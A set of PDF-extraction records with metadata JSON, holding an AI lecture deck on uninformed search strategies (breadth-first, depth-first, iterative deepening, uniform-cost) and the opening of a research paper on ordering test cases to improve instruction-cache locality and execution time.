1131, 3], [1131, 1420, 4], [1420, 1700, 5], [1700, 1930, 6], [1930, 2049, 7], [2049, 2540, 8], [2540, 2889, 9], [2889, 3028, 10], [3028, 3409, 11], [3409, 3957, 12], [3957, 4261, 13], [4261, 4343, 14], [4343, 6949, 15], [6949, 8788, 16], [8788, 10100, 17], [10100, 10333, 18], [10333, 10607, 19], [10607, 11747, 20], [11747, 11884, 21], [11884, 12037, 22], [12037, 12391, 23], [12391, 13402, 24], [13402, 14410, 25], [14410, 14804, 26], [14804, 14939, 27], [14939, 15180, 28], [15180, 15305, 29]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 15305, 0.18809]]}
|
olmocr_science_pdfs
|
2024-11-27
|
2024-11-27
|
e877df50308b4863285498fe532d2465cc5ad9b9
|
Blind (Uninformed) Search
(Where we systematically explore alternatives)
R&N: Chap. 3, Sect. 3.3-5
Acknowledgment:
These materials here are adopted from the ppts by © Dr. Jean-Claude Latombe at Stanford University, used with permission. ai.stanford.edu/~latombe
Simple Problem-Solving-Agent
Agent Algorithm
1. $s_0 \leftarrow \text{sense/read initial state}$
2. $\text{GOAL?} \leftarrow \text{select/read goal test}$
3. $\text{Succ} \leftarrow \text{read successor function}$
4. $\text{solution} \leftarrow \text{search}(s_0, \text{GOAL?}, \text{Succ})$
5. $\text{perform(solution)}$
Search Tree
Note that some states may be visited multiple times
Search Nodes and States
8 2
3 4 7
5 1 6
8 2 7
3 4
5 1 6
8 2 1
3 4 7
5 1 6
8 4 2
3 7
5 1 6
8 2
3 4 7
5 1 6
If states are allowed to be revisited, the search tree may be infinite even when the state space is finite.
Data Structure of a Node
Depth of a node $N$ = length of path from root to $N$
(depth of the root = 0)
Node expansion
The expansion of a node \( N \) of the search tree consists of:
1) Evaluating the successor function on \( \text{STATE}(N) \)
2) Generating a child of \( N \) for each state returned by the function
\textit{node generation} \( \neq \) \textit{node expansion}
The **fringe** is the set of all search nodes that haven’t been expanded yet.
Is it identical to the set of leaves?
Search Strategy
- The fringe is the set of all search nodes that haven’t been expanded yet.
- The fringe is implemented as a priority queue FRINGE:
- INSERT(node,FRINGE)
- REMOVE(FRINGE)
- The ordering of the nodes in FRINGE defines the search strategy.
Search Algorithm #1
**SEARCH#1**
1. If \(\text{GOAL?}(\text{initial-state})\) then return initial-state
2. \(\text{INSERT}(\text{initial-node}, \text{FRINGE})\)
3. Repeat:
a. If empty(FRINGE) then return failure
b. \(N \leftarrow \text{REMOVE}(\text{FRINGE})\)
Expansion of \(N\)
c. \(s \leftarrow \text{STATE}(N)\)
d. For every state \(s'\) in \(\text{SUCCESSORS}(s)\)
i. Create a new node \(N'\) as a child of \(N\)
ii. If \(\text{GOAL?}(s')\) then return path or goal state
iii. \(\text{INSERT}(N', \text{FRINGE})\)
Performance Measures
- **Completeness**
A search algorithm is complete if it finds a solution whenever one exists
[What about the case when no solution exists?]
- **Optimality**
A search algorithm is optimal if it returns a minimum-cost path whenever a solution exists
- **Complexity**
It measures the time and amount of memory required by the algorithm
Blind vs. Heuristic Strategies
- **Blind (or un-informed)** strategies do not exploit state descriptions to order FRINGE. They only exploit the positions of the nodes in the search tree.
- **Heuristic (or informed)** strategies exploit state descriptions to order FRINGE (the most “promising” nodes are placed at the beginning of FRINGE).
Example
For a blind strategy, \( N_1 \) and \( N_2 \) are just two nodes (at some position in the search tree).
\[
\begin{array}{ccc}
8 & 2 & \text{STATE} \\
3 & 4 & 7 \\
5 & 1 & 6 \\
\end{array}
\]
\[ N_1 \]
\[
\begin{array}{ccc}
1 & 2 & 3 \\
4 & 5 & \text{STATE} \\
7 & 8 & 6 \\
\end{array}
\]
\[ N_2 \]
\[
\begin{array}{ccc}
1 & 2 & 3 \\
4 & 5 & 6 \\
7 & 8 & \text{Goal state} \\
\end{array}
\]
Example
For a heuristic strategy counting the number of misplaced tiles, $N_2$ is more promising than $N_1$.
<table>
<thead>
<tr>
<th>1</th>
<th>2</th>
<th>3</th>
</tr>
</thead>
<tbody>
<tr>
<td>4</td>
<td>5</td>
<td>6</td>
</tr>
<tr>
<td>7</td>
<td>8</td>
<td></td>
</tr>
</tbody>
</table>
Goal state
Remark
- Some search problems, such as the \((n^2-1)\)-puzzle, are NP-hard
- One can’t expect to solve all instances of such problems in less than exponential time (in \(n\))
- One may still strive to solve each instance as efficiently as possible
\(\Rightarrow\) This is the purpose of the search strategy
Blind Strategies
- **Breadth-first**
- Bidirectional
- **Depth-first**
- Depth-limited
- Iterative deepening
- **Uniform-Cost**
- (variant of breadth-first)
\[ \text{Arc cost} = 1 \]
\[ \text{Arc cost} = c(\text{action}) \geq \varepsilon > 0 \]
Breadth-First Strategy
New nodes are inserted at the end of FRINGE
FRINGE = (1)
Breadth-First Strategy
New nodes are inserted at the end of FRINGE
FRINGE = (2, 3)
Breadth-First Strategy
New nodes are inserted at the end of FRINGE
FRINGE = (3, 4, 5)
Breadth-First Strategy
New nodes are inserted at the end of FRINGE
FRINGE = (4, 5, 6, 7)
Important Parameters
1) Maximum number of successors of any state
\rightarrow \text{branching factor } b \text{ of the search tree}
2) Minimal length (≠ cost) of a path between the initial and a goal state
\rightarrow \text{depth } d \text{ of the shallowest goal node in the search tree}
Evaluation
- \( b \): branching factor
- \( d \): depth of shallowest goal node
- Breadth-first search is:
- Complete? Not complete?
- Optimal? Not optimal?
Evaluation
- $b$: branching factor
- $d$: depth of shallowest goal node
- Breadth-first search is:
- Complete
- Optimal if step cost is 1
- Number of nodes generated: ???
Evaluation
- **b**: branching factor
- **d**: depth of shallowest goal node
- **Breadth-first search is:**
- *Complete*
- *Optimal* if step cost is 1
- **Number of nodes generated:**
\[1 + b + b^2 + ... + b^d = ???\]
Evaluation
- **b**: branching factor
- **d**: depth of shallowest goal node
- Breadth-first search is:
- *Complete*
- *Optimal* if step cost is 1
- Number of nodes generated:
\[1 + b + b^2 + \ldots + b^d = \frac{b^{d+1} - 1}{b - 1} = O(b^d)\]
- → Time and space complexity is \(O(b^d)\)
Big O Notation
\[ g(n) = O(f(n)) \text{ if there exist two positive constants } a \text{ and } N \text{ such that:} \]
\[ \text{for all } n > N: \quad g(n) \leq a \times f(n) \]
### Time and Memory Requirements
<table>
<thead>
<tr>
<th>d</th>
<th># Nodes</th>
<th>Time</th>
<th>Memory</th>
</tr>
</thead>
<tbody>
<tr>
<td>2</td>
<td>111</td>
<td>.01 m sec</td>
<td>11 K bytes</td>
</tr>
<tr>
<td>4</td>
<td>11,111</td>
<td>1 m sec</td>
<td>1 M byte</td>
</tr>
<tr>
<td>6</td>
<td>$\sim10^6$</td>
<td>1 sec</td>
<td>100 M Mb</td>
</tr>
<tr>
<td>8</td>
<td>$\sim10^8$</td>
<td>100 sec</td>
<td>10 G bytes</td>
</tr>
<tr>
<td>10</td>
<td>$\sim10^{10}$</td>
<td>2.8 hours</td>
<td>1 T byte</td>
</tr>
<tr>
<td>12</td>
<td>$\sim10^{12}$</td>
<td>11.6 days</td>
<td>100 T bytes</td>
</tr>
<tr>
<td>14</td>
<td>$\sim10^{14}$</td>
<td>3.2 years</td>
<td>10,000 T bytes</td>
</tr>
</tbody>
</table>
**Assumptions:** $b = 10$; 1,000,000 nodes/sec; 100 bytes/node
# Time and Memory Requirements
<table>
<thead>
<tr>
<th>$d$</th>
<th># Nodes</th>
<th>Time</th>
<th>Memory</th>
</tr>
</thead>
<tbody>
<tr>
<td>2</td>
<td>111</td>
<td>.01 msec</td>
<td>11 Kbytes</td>
</tr>
<tr>
<td>4</td>
<td>11,111</td>
<td>1 msec</td>
<td>1 Mbyte</td>
</tr>
<tr>
<td>6</td>
<td>$\sim 10^6$</td>
<td>1 sec</td>
<td>100 Mb</td>
</tr>
<tr>
<td>8</td>
<td>$\sim 10^8$</td>
<td>100 sec</td>
<td>10 Gbytes</td>
</tr>
<tr>
<td>10</td>
<td>$\sim 10^{10}$</td>
<td>2.8 hours</td>
<td>1 Tbyte</td>
</tr>
<tr>
<td>12</td>
<td>$\sim 10^{12}$</td>
<td>11.6 days</td>
<td>100 Tbytes</td>
</tr>
<tr>
<td>14</td>
<td>$\sim 10^{14}$</td>
<td>3.2 years</td>
<td>10,000 Tbytes</td>
</tr>
</tbody>
</table>
Assumptions: $b = 10$; 1,000,000 nodes/sec; 100 bytes/node
Remark
If a problem has no solution, breadth-first may run for ever (if the state space is infinite or states can be revisited arbitrary many times)
Bidirectional Strategy
2 fringe queues: FRINGE1 and FRINGE2
Time and space complexity is $O(b^{d/2}) << O(b^d)$ if both trees have the same branching factor $b$
Question: What happens if the branching factor is different in each direction?
Depth-First Strategy
New nodes are inserted at the front of FRINGE
FRINGE = (1)
Depth-First Strategy
New nodes are inserted at the front of FRINGE
FRINGE = (2, 3)
Depth-First Strategy
New nodes are inserted at the front of FRINGE
FRINGE = (4, 5, 3)
Depth-First Strategy
New nodes are inserted at the front of FRINGE
Depth-First Strategy
New nodes are inserted at the front of FRINGE
Depth-First Strategy
New nodes are inserted at the front of FRINGE
Depth-First Strategy
New nodes are inserted at the front of FRINGE
Depth-First Strategy
New nodes are inserted at the front of FRINGE
Depth-First Strategy
New nodes are inserted at the front of FRINGE
Depth-First Strategy
New nodes are inserted at the front of FRINGE
Depth-First Strategy
New nodes are inserted at the front of FRINGE
Evaluation
- \( b \): branching factor
- \( d \): depth of shallowest goal node
- \( m \): maximal depth of a leaf node
- Depth-first search is:
- Complete?
- Optimal?
Evaluation
- \( b \): branching factor
- \( d \): depth of shallowest goal node
- \( m \): maximal depth of a leaf node
- Depth-first search is:
- Complete only for finite search tree
- Not optimal
- Number of nodes generated (worst case):
\[ 1 + b + b^2 + \ldots + b^m = O(b^m) \]
- Time complexity is \( O(b^m) \)
- Space complexity is \( O(bm) \) [or \( O(m) \)]
[Reminder: Breadth-first requires \( O(b^d) \) time and space]
Depth-Limited Search
- Depth-first with depth cutoff $k$ (depth at which nodes are not expanded)
- Three possible outcomes:
- Solution
- Failure (no solution)
- Cutoff (no solution within cutoff)
Iterative Deepening Search
Provides the best of both breadth-first and depth-first search
Main idea: Totally horrifying!
IDS
For $k = 0, 1, 2, \ldots$ do:
- Perform depth-first search with depth cutoff $k$
(i.e., only generate nodes with depth $\leq k$)
Iterative Deepening
Iterative Deepening
Iterative Deepening
Performance
- Iterative deepening search is:
- Complete
- Optimal if step cost = 1
- Time complexity is:
\[(d+1)(1) + db + (d-1)b^2 + \ldots + (1) b^d = O(b^d)\]
- Space complexity is: \(O(bd)\) or \(O(d)\)
Calculation
db + (d-1)b^2 + ... + (1) b^d
= b^d + 2b^{d-1} + 3b^{d-2} + ... + db
= (1 + 2b^{-1} + 3b^{-2} + ... + db^{-d}) \times b^d
\leq (\sum_{i=1,...,\infty} ib^{(1-i)}) \times b^d = b^d \left(\frac{b}{(b-1)}\right)^2
**Number of Generated Nodes**
(Breadth-First & Iterative Deepening)
\[ d = 5 \text{ and } b = 2 \]
<table>
<thead>
<tr>
<th>BF</th>
<th>ID</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>(1 \times 6 = 6)</td>
</tr>
<tr>
<td>2</td>
<td>(2 \times 5 = 10)</td>
</tr>
<tr>
<td>4</td>
<td>(4 \times 4 = 16)</td>
</tr>
<tr>
<td>8</td>
<td>(8 \times 3 = 24)</td>
</tr>
<tr>
<td>16</td>
<td>(16 \times 2 = 32)</td>
</tr>
<tr>
<td>32</td>
<td>(32 \times 1 = 32)</td>
</tr>
<tr>
<td>63</td>
<td>120</td>
</tr>
</tbody>
</table>
\[ \frac{120}{63} \approx 2 \]
## Number of Generated Nodes (Breadth-First & Iterative Deepening)
*d = 5 and b = 10*
<table>
<thead>
<tr>
<th>BF</th>
<th>ID</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>6</td>
</tr>
<tr>
<td>10</td>
<td>50</td>
</tr>
<tr>
<td>100</td>
<td>400</td>
</tr>
<tr>
<td>1,000</td>
<td>3,000</td>
</tr>
<tr>
<td>10,000</td>
<td>20,000</td>
</tr>
<tr>
<td>100,000</td>
<td>100,000</td>
</tr>
<tr>
<td><strong>111,111</strong></td>
<td><strong>123,456</strong></td>
</tr>
</tbody>
</table>
\[
\frac{123,456}{111,111} \approx 1.111
\]
Comparison of Strategies
- Breadth-first is complete and optimal, but has high space complexity.
- Depth-first is space efficient, but is neither complete, nor optimal.
- Iterative deepening is complete and optimal, with the same space complexity as depth-first and almost the same time complexity as breadth-first.
Quiz: Would IDS + bi-directional search be a good combination?
Revisited States
No Few Many
search tree is finite search tree is infinite
8-queens assembly planning 8-puzzle and robot navigation
Avoiding Revisited States
- Requires comparing state descriptions
- Breadth-first search:
- Store all states associated with generated nodes in VISITED
- If the state of a new node is in VISITED, then discard the node
Avoiding Revisited States
- Requires comparing state descriptions
- Breadth-first search:
- Store all states associated with *generated* nodes in **VISITED**
- If the state of a new node is in **VISITED**, then discard the node
Implemented as hash-table or as explicit data structure with flags
Avoiding Revisited States
- Depth-first search:
Solution 1:
- Store all states associated with nodes in current path in VISITED
- If the state of a new node is in VISITED, then discard the node
→ ??
Avoiding Revisited States
- **Depth-first search:**
**Solution 1:**
- Store all states associated with nodes in current path in VISITED
- If the state of a new node is in VISITED, then discard the node
→ Only avoids loops
**Solution 2:**
- Store all generated states in VISITED
- If the state of a new node is in VISITED, then discard the node
→ Same space complexity as breadth-first!
Uniform-Cost Search
- Each arc has some cost $c \geq \varepsilon > 0$
- The cost of the path to each node $N$ is $g(N) = \sum$ costs of arcs
- The goal is to generate a solution path of minimal cost
- The nodes $N$ in the queue FRINGE are sorted in increasing $g(N)$
- Need to modify search algorithm
Search Algorithm #2
SEARCH#2
1. INSERT(initial-node,FRINGE)
2. Repeat:
a. If empty(FRINGE) then return failure
b. N ← REMOVE(FRINGE)
c. s ← STATE(N)
d. If GOAL?(s) then return path or goal state
e. For every state s' in SUCCESSORS(s)
i. Create a node N' as a successor of N
ii. INSERT(N',FRINGE)
The goal test is applied to a node when this node is expanded, not when it is generated.
Avoiding Revisited States in Uniform-Cost Search
- For any state \( S \), when the first node \( N \) such that \( \text{STATE}(N) = S \) is expanded, the path to \( N \) is the best path from the initial state to \( S \)
\[
g(N) \leq g(N') \\
g(N) \leq g(N'')
\]
Avoiding Revisited States in Uniform-Cost Search
- For any state $S$, when the first node $N$ such that $\text{STATE}(N) = S$ is expanded, the path to $N$ is the best path from the initial state to $S$
- So:
- When a node is expanded, store its state into \text{CLOSED}
- When a new node $N$ is generated:
- If $\text{STATE}(N)$ is in \text{CLOSED}, discard $N$
- If there exits a node $N'$ in the fringe such that $\text{STATE}(N') = \text{STATE}(N)$, discard the node — $N$ or $N'$ — with the highest-cost path
|
{"Source-Url": "https://personal.utdallas.edu/~rkm010300/utd/ai-intro/AIWorkshop2020Lecture02C-DrLatombe.pdf", "len_cl100k_base": 4708, "olmocr-version": "0.1.53", "pdf-total-pages": 63, "total-fallback-pages": 0, "total-input-tokens": 86639, "total-output-tokens": 6789, "length": "2e12", "weborganizer": {"__label__adult": 0.0004427433013916016, "__label__art_design": 0.0004897117614746094, "__label__crime_law": 0.0007481575012207031, "__label__education_jobs": 0.00086212158203125, "__label__entertainment": 0.00012302398681640625, "__label__fashion_beauty": 0.0002484321594238281, "__label__finance_business": 0.0005216598510742188, "__label__food_dining": 0.0004763603210449219, "__label__games": 0.0017642974853515625, "__label__hardware": 0.0017681121826171875, "__label__health": 0.0006561279296875, "__label__history": 0.0005016326904296875, "__label__home_hobbies": 0.00026345252990722656, "__label__industrial": 0.0008792877197265625, "__label__literature": 0.0004038810729980469, "__label__politics": 0.0004534721374511719, "__label__religion": 0.0005402565002441406, "__label__science_tech": 0.13671875, "__label__social_life": 0.00012993812561035156, "__label__software": 0.00894927978515625, "__label__software_dev": 0.84130859375, "__label__sports_fitness": 0.0005125999450683594, "__label__transportation": 0.0010557174682617188, "__label__travel": 0.00029778480529785156}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 13332, 0.06482]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 13332, 0.37713]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 13332, 0.75023]], "google_gemma-3-12b-it_contains_pii": [[0, 264, false], [264, 587, null], [587, 652, null], [652, 763, null], [763, 871, null], [871, 975, null], [975, 1253, null], [1253, 1331, null], [1331, 1369, null], [1369, 1628, null], [1628, 2187, null], [2187, 2552, null], [2552, 2893, null], [2893, 3297, null], [3297, 3476, null], [3476, 3785, null], [3785, 4043, null], [4043, 4125, null], [4125, 4210, null], [4210, 4298, null], [4298, 4389, null], [4389, 4686, null], [4686, 4848, null], [4848, 5024, null], [5024, 5248, null], [5248, 5542, null], [5542, 5722, null], [5722, 6240, null], [6240, 6713, null], [6713, 6863, null], [6863, 7106, null], [7106, 7188, null], [7188, 7273, null], [7273, 7361, null], [7361, 7429, null], [7429, 7497, null], [7497, 7565, null], [7565, 7633, null], [7633, 7701, null], [7701, 7769, null], [7769, 7837, null], [7837, 7905, null], [7905, 8078, null], [8078, 8515, null], [8515, 8719, null], [8719, 8978, null], [8978, 8998, null], [8998, 9018, null], [9018, 9038, null], [9038, 9252, null], [9252, 9475, null], [9475, 9839, null], [9839, 10162, null], [10162, 10543, null], [10543, 10683, null], [10683, 10906, null], [10906, 11207, null], [11207, 11414, null], [11414, 11823, null], [11823, 12126, null], [12126, 12540, null], [12540, 12806, null], [12806, 13332, null]], "google_gemma-3-12b-it_is_public_document": [[0, 264, true], [264, 587, null], [587, 652, null], [652, 763, null], [763, 871, null], [871, 975, null], [975, 1253, null], [1253, 1331, null], [1331, 1369, null], [1369, 1628, null], [1628, 2187, null], [2187, 2552, null], [2552, 2893, null], [2893, 3297, null], [3297, 3476, null], [3476, 3785, null], [3785, 4043, null], [4043, 4125, null], [4125, 4210, null], [4210, 4298, null], [4298, 4389, null], [4389, 4686, null], [4686, 4848, null], [4848, 5024, null], [5024, 5248, null], [5248, 5542, null], [5542, 5722, null], [5722, 6240, null], [6240, 6713, null], [6713, 6863, null], [6863, 7106, null], [7106, 7188, null], [7188, 7273, null], [7273, 7361, null], [7361, 7429, null], [7429, 7497, null], [7497, 7565, null], [7565, 7633, null], [7633, 7701, null], [7701, 7769, null], [7769, 7837, null], [7837, 7905, null], [7905, 8078, null], [8078, 8515, null], [8515, 8719, null], [8719, 8978, null], [8978, 8998, null], [8998, 9018, null], [9018, 9038, null], [9038, 9252, null], [9252, 9475, null], [9475, 9839, null], [9839, 10162, null], [10162, 10543, null], [10543, 10683, null], [10683, 10906, null], [10906, 11207, null], [11207, 11414, null], [11414, 11823, null], [11823, 12126, null], [12126, 12540, null], [12540, 12806, null], [12806, 13332, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 13332, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 13332, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 13332, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 13332, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, true], [5000, 13332, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 13332, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 13332, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 13332, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 13332, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, true], [5000, 13332, null]], "pdf_page_numbers": [[0, 264, 1], [264, 587, 2], [587, 652, 3], [652, 763, 4], [763, 871, 5], [871, 975, 6], [975, 1253, 7], [1253, 1331, 8], [1331, 1369, 9], [1369, 1628, 10], [1628, 2187, 11], [2187, 2552, 12], [2552, 2893, 13], [2893, 3297, 14], [3297, 3476, 15], [3476, 3785, 16], [3785, 4043, 17], [4043, 4125, 18], [4125, 4210, 19], [4210, 4298, 20], [4298, 4389, 21], [4389, 4686, 22], [4686, 4848, 23], [4848, 5024, 24], [5024, 5248, 25], [5248, 5542, 26], [5542, 5722, 27], [5722, 6240, 28], [6240, 6713, 29], [6713, 6863, 30], [6863, 7106, 31], [7106, 7188, 32], [7188, 7273, 33], [7273, 7361, 34], [7361, 7429, 35], [7429, 7497, 36], [7497, 7565, 37], [7565, 7633, 38], [7633, 7701, 39], [7701, 7769, 40], [7769, 7837, 41], [7837, 7905, 42], [7905, 8078, 43], [8078, 8515, 44], [8515, 8719, 45], [8719, 8978, 46], [8978, 8998, 47], [8998, 9018, 48], [9018, 9038, 49], [9038, 9252, 50], [9252, 9475, 51], [9475, 9839, 52], [9839, 10162, 53], [10162, 10543, 54], [10543, 10683, 55], [10683, 10906, 56], [10906, 11207, 57], [11207, 11414, 58], [11414, 11823, 59], [11823, 12126, 60], [12126, 12540, 61], [12540, 12806, 62], [12806, 13332, 63]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 13332, 0.1105]]}
|
olmocr_science_pdfs
|
2024-12-09
|
2024-12-09
|
b8739abb1d8c615d2b08b3570e3c008150a8646e
|
Test Case Permutation to Improve Execution Time
Citation for published version:
Digital Object Identifier (DOI):
10.1145/2970276.2970331
Link:
Link to publication record in Edinburgh Research Explorer
Document Version:
Peer reviewed version
Published In:
Automated Software Engineering (ASE), 2016 31st IEEE/ACM International Conference on
General rights
Copyright for the publications made accessible via the Edinburgh Research Explorer is retained by the author(s) and / or other copyright owners and it is a condition of accessing these publications that users recognise and abide by the legal requirements associated with these rights.
Take down policy
The University of Edinburgh has made every reasonable effort to ensure that Edinburgh Research Explorer content complies with UK legislation. If you believe that the public display of this file breaches copyright please contact openaccess@ed.ac.uk providing details, and we will remove access to the work immediately and investigate your claim.
Test Case Permutation to Improve Execution Time
Panagiotis Stratis
School of Informatics
University of Edinburgh, UK
s1329012@sms.ed.ac.uk
Ajitha Rajan
School of Informatics
University of Edinburgh, UK
arajan@staffmail.ed.ac.uk
ABSTRACT
With the growing complexity of software, the number of test cases needed for effective validation is extremely large. Executing these large test suites is expensive, both in terms of time and energy. Cache misses are known to be one of the main factors contributing to execution time of a software. Cache misses are reduced by increasing the locality of memory references. For a single program run, compiler optimisations help improve data locality and code layout optimisations help improve spatial locality of instructions. Nevertheless, cache locality optimisations have not been proposed and explored across several program runs, which is the case when we run several test cases.
In this paper, we propose and evaluate a novel approach to improve instruction locality across test case runs. Our approach measures the distance between test case runs (number of different instructions). We then permute the test cases for execution so that the distance between neighboring test cases is minimised. We hypothesize that test cases executed in this new order for improved instruction locality will reduce time consumed.
We conduct a preliminary evaluation with four subject programs and test suites from the SIR repository to answer the following questions, 1. Is execution time of a test suite affected by the order in which test cases are executed? and 2. How does time consumed in executing our permutation compare to random test case permutations? We found that the order in which test cases are executed has a definite impact on execution time. The extent of impact varies, based on program characteristics and test cases. Our approach outperformed more than 97% of random test case permutations on 3 of the 4 subject programs and did better than 93% of the random orderings on the remaining subject program. Using the optimised permutation, we saw a maximum reduction of 7.4% over average random permutation execution time and 34.7% over the worst permutation.
Keywords
Cache misses, Instruction locality
1. INTRODUCTION
The number of tests needed to effectively test any non-trivial software is extremely large. With the prevalence of software in today’s world and the growing complexity of systems, this number is rapidly becoming intractable. Much of the research in software testing over the last few decades has focussed on test suite reduction techniques and criteria (such as coverage) that help in identifying the effective test cases to retain. This trend is particularly seen in regression testing and black-box testing where numerous optimisation techniques—test case selection, test suite reduction, and test case prioritisation—have been proposed to reduce testing time [23, 19, 16]. Even after using these test optimisation techniques, test suites continue to be very large and their execution is typically very time consuming. The high-level goal we target in this paper is, Reduce time consumed by test suite runs.
Execution time for present day programs is memory speed rather than processor speed bounded. Missed cache hits, on both the internal and external cache, significantly slow down the execution of a program [20, 21]. Powerful cache optimizations are needed to improve the cache behavior and increase the execution speed of these programs. Based on this observation, we target the problem of reducing cache misses caused by test case runs.
Cache misses are reduced by increasing the locality of memory references [7], for both data and instructions. Compiler researchers proposed loop transformation techniques such as loop tiling and fusion to improve data locality [3, 4, 1]. To enhance instruction locality, researchers proposed procedure orderings and code layout optimisations [17, 10, 5] to improve spatial locality of instructions.
Existing literature has only considered improving data/instruction locality over single program runs. Enhancing locality across program runs is entirely novel. We rephrase the earlier problem in terms of locality as, improve locality of references across test case runs.
In this paper, we target this locality problem in the context of testing. In program testing, we execute the same program several times (albeit with a different test data) increasing the chances of seeing repeated instruction sequences. We believe the knowledge of common instruction sequences between test cases can be used to help improve the performance of the instruction cache and, potentially, the program. We propose a novel approach based on this to improve instruction locality across test case runs. We permute
---
1 A test suite is a collection of test cases that test a program.
the test cases so that distance between neighboring test case runs is minimised. Distance is measured as number of different instructions between test runs. Our approach and algorithm for permutting test cases is discussed in Section 3.
The proposed idea for leveraging instruction cache locality in the context of test executions is entirely novel. However, the effect of test case permutations and improving instruction cache locality on execution time is not well understood or even known. We conduct a preliminary evaluation to first assess the impact of test case permutation on execution time using randomly generated permutations of a test suite. We used 4 subject programs and test workloads from the SIR repository. We also evaluated the usefulness of our approach in addressing the high-level goal by comparing execution time of our optimised permutation against average, best and worst execution times of the random permutations. Our experiments revealed that the order in which test cases are executed has an impact on execution time. The magnitude of the effect varied greatly and was dependent on program and test suite characteristics. We also found that our optimised permutation outperformed a significant proportion of random permutations in all subject programs. The reduction in execution time was in the range of 1.4% to 7.4% over average random permutation, and 13.8% to 34.7% over the worst permutation.
The rest of our paper is organised as follows. We provide background on cache misses and existing compiler techniques to improve locality in Section 2. We describe the steps in our algorithm and our implementation in Section 3. The experiment for evaluating our approach is described in Section 4. Results and their analysis is presented in Section 5.
2. BACKGROUND AND RELATED WORK
Today’s computer systems must manage a vast amount of memory to meet the data requirements of modern applications. Practically, all memory systems are organised as a hierarchy with multiple layers of fast cache memory. CPU caches comprise of an instruction cache to speed up executable instruction fetch, and a data cache to speed up data fetch and store. Caches play a key role in minimizing the data access latency and main memory bandwidth demand. Caches operate by retaining the most recently used data. If the processor reuses the data quickly, cache hits occur. Conversely, if it reuses the data after a long time, intervening data can evict the data from the cache, resulting in a cache miss. Cache misses cause the CPU to stall and in many applications result in significant penalty in execution time [20, 21].
Cache misses are reduced by increasing the locality of memory references. Temporal locality refers to memory accesses that are close in time, i.e. the reuse of a specific data within a relatively small time duration. Spatial locality refers to memory accesses close to each other in storage locations. Modern cache designs exploit spatial locality by fetching large blocks of data called cache lines on a cache miss. Subsequent references to words within the same cache line result in cache hits. In the following paragraphs, we present existing literature for optimising temporal and spatial locality of data references (for data cache) and instruction references (for instruction cache).
Compiler researchers have proposed the use of reuse distance as a metric to approximate cache misses [2, 15]. Beyls et al. state reuse distance of a memory access as “the number of accesses to unique addresses made since the last reference to the requested data”. In a fully associative cache with $n$ lines, a reference with reuse distance $d < n$ will hit, and with $d \geq n$ will miss. The concept of cache re-use has primarily been used in the context of data locality.
In the early 1990s, compiler optimisations were proposed to improve the cost of executing loops [22, 4]. These optimisations improve locality of data references in loops through:
- **Loop Permutations:** changing the sequence of loop iterations such that the iteration that promotes the most data reuse is positioned innermost (if it is legal).
- **Loop Tiling:** reordering iterations such that iterations from outer loops are executed before completing all the iterations of the inner loop. Tiling reduces the number of intervening iterations and thus data fetched between data reuses [22].
- **Loop Fusion:** takes multiple loops and combines their bodies into one loop nest.
- **Loop Distribution:** separates independent statements in a single loop into multiple loops with single headers.
- **Variable Padding:** Inter-variable padding that adjusts variable base addresses, and intra-variable padding that modifies array dimension sizes have been proposed to eliminate conflict misses occurring in loop iterations [18].
- Data reference predictors and prefetchers have also been proposed to improve locality and hide memory latency resulting from cache misses [12, 11, 6].
To improve spatial locality of instructions, existing literature has explored procedure re-orderings and code layout optimisations. Hwu et al. use dynamic profiling, and function inlining for instruction placement that maximises sequential and spatial locality [10]. Chen et al. and Ramirez et al. achieve spatial locality by co-locating procedures or basic blocks that are activated sequentially [5, 17].
Temporal locality of instructions has not been considered before, especially since existing optimisations are over a single execution of the program with little chance of repeated instruction sequences. Figure 1 illustrates the difference between existing work and our approach. Our approach targets optimisation of temporal locality of instructions across several executions of the program. Our approach presented in Section 3 is not meant to compete with the existing work on compiler or code layout optimisation. Instead, it is best if they are used together since we aim to improve temporal locality of instructions across several executions, while existing work improves temporal/spatial locality of data and spatial locality of instructions within a single execution.
Related work in the field of software testing has proposed numerous optimization techniques—test case selection, test suite reduction, and test case prioritization—to reduce size of test suite and, as an additional benefit, execution time [23, 19]. The goal of our approach is not to optimise size of test suite but rather test suite permutation to reduce execution time. We can apply our approach to an already minimised test suite to reduce time consumed further. If testers believe that test minimisation or reduction techniques will result in reduced fault finding capability [9], our approach can be applied directly to the full test suites. The following section describes our approach.
Figure 1: Existing work versus Our Contribution
Unless the instructions occur within a for loop, in which case existing loop transformations help improve locality.
3. OUR APPROACH
To maximise temporal re-use of instructions across several executions of the program (or test case runs), we need to determine an order of test case executions such that distance between consecutive test case executions in the order is minimized while also minimizing the total distance of the order. Note that it is important to minimize the total distance additionally, since that helps pick the best among all orders that have minimal distance between consecutive test case executions, which is produced by a different starting vertex or test case execution in our case. This is similar to the problem of least cost Hamiltonian Path which is known to be NP-hard. In our approach, we use the nearest neighbour algorithm as an approximate solution since it effectively solves the sub-problem of minimising distance between consecutive test case executions that is important for leveraging immediate temporal locality. Distance between two test cases, $T_i$ and $T_j$, is defined as
$$D(T_i, T_j) = \#\text{instructions different between } T_i \text{ and } T_j$$ (1)
